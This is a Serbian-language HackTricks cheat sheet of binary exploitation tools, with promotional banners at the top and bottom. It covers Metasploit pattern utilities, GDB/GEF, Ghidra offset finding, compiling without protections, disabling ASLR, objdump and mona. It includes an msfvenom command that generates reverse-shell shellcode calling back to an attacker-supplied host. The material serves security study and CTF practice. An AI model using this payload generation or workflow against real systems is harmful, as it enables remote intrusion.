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# Alati za iskorišćavanje
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellkodovi
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Instalacija
```
apt-get install gdb
```
### Parametri
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Uputstva
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Trikovi
#### GDB iste adrese
Prilikom debagovanja, GDB će imati **nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja.** Možete postaviti da GDB ima iste adrese tako što ćete uraditi sledeće:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<putanja>` _Stavite apsolutnu putanju do binarnog fajla_
* Iskoristite binarni fajl koristeći istu apsolutnu putanju
* `PWD` i `OLDPWD` moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla
#### Backtrace za pronalaženje pozvanih funkcija
Kada imate **statički povezan binarni fajl**, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško **identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos**.\
Ovaj tok možete lako identifikovati **pokretanjem** binarnog fajla sa **gdb** sve dok vas ne zatraže unos. Zatim ga zaustavite sa **CTRL+C** i koristite komandu **`bt`** (**backtrace**) da vidite pozvane funkcije:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)
## Ghidra
### Pronalaženje offseta steka
**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\
_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
![](<../../.gitbook/assets/image (616).png>)
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
**-o** --> Izlaz\
**-g** --> Sačuvaj kod (GDB će moći da ga vidi)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktiviranje ASLR u Linuxu
**Za kompajliranje shell koda:**\
**nasm -f elf assembly.asm** --> vraća ".o"\
**ld assembly.o -o shellcodeout** --> Izvršno
## Objdump
**-d** --> **Razmontiraj izvršne** sekcije (vidi op-kodove kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)\
**-Mintel** --> **Intel** sintaksa\
**-t** --> **Tabela simbola**\
**-D** --> **Razmontiraj sve** (adresa statičke promenljive)\
**-s -j .dtors** --> dtors sekcija\
**-s -j .got** --> got sekcija\
\-D -s -j .plt --> **plt** sekcija **dekompilirana**\
**-TR** --> **Relokacije**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresa "puts" za modifikaciju u GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresa statičke promenljive (one su smeštene u DATA sekciji).
## Core dumps
1. Pokrenite `ulimit -c unlimited` pre pokretanja mog programa
2. Pokrenite `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<putanja/core> --quiet
## Više
**ldd executable | grep libc.so.6** --> Adresa (ako je ASLR, onda se menja svaki put)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Petlja za proveru da li se adresa često menja\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
**strace executable** --> Funkcije pozvane od strane izvršnog fajla\
**rabin2 -i ejecutable -->** Adresa svih funkcija
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debagovanje na udaljenom Linuxu
Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarne datoteke unutar Linuxa. Da biste to uradili, premestite binarnu datoteku _linux\_server_ ili _linux\_server64_ unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:
```
./linux_server64 -Ppass
```
Zatim, konfigurišite debager: Debager (udaljeni Linux) --> Opcije procesa...:
![](<../../.gitbook/assets/image (101).png>)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
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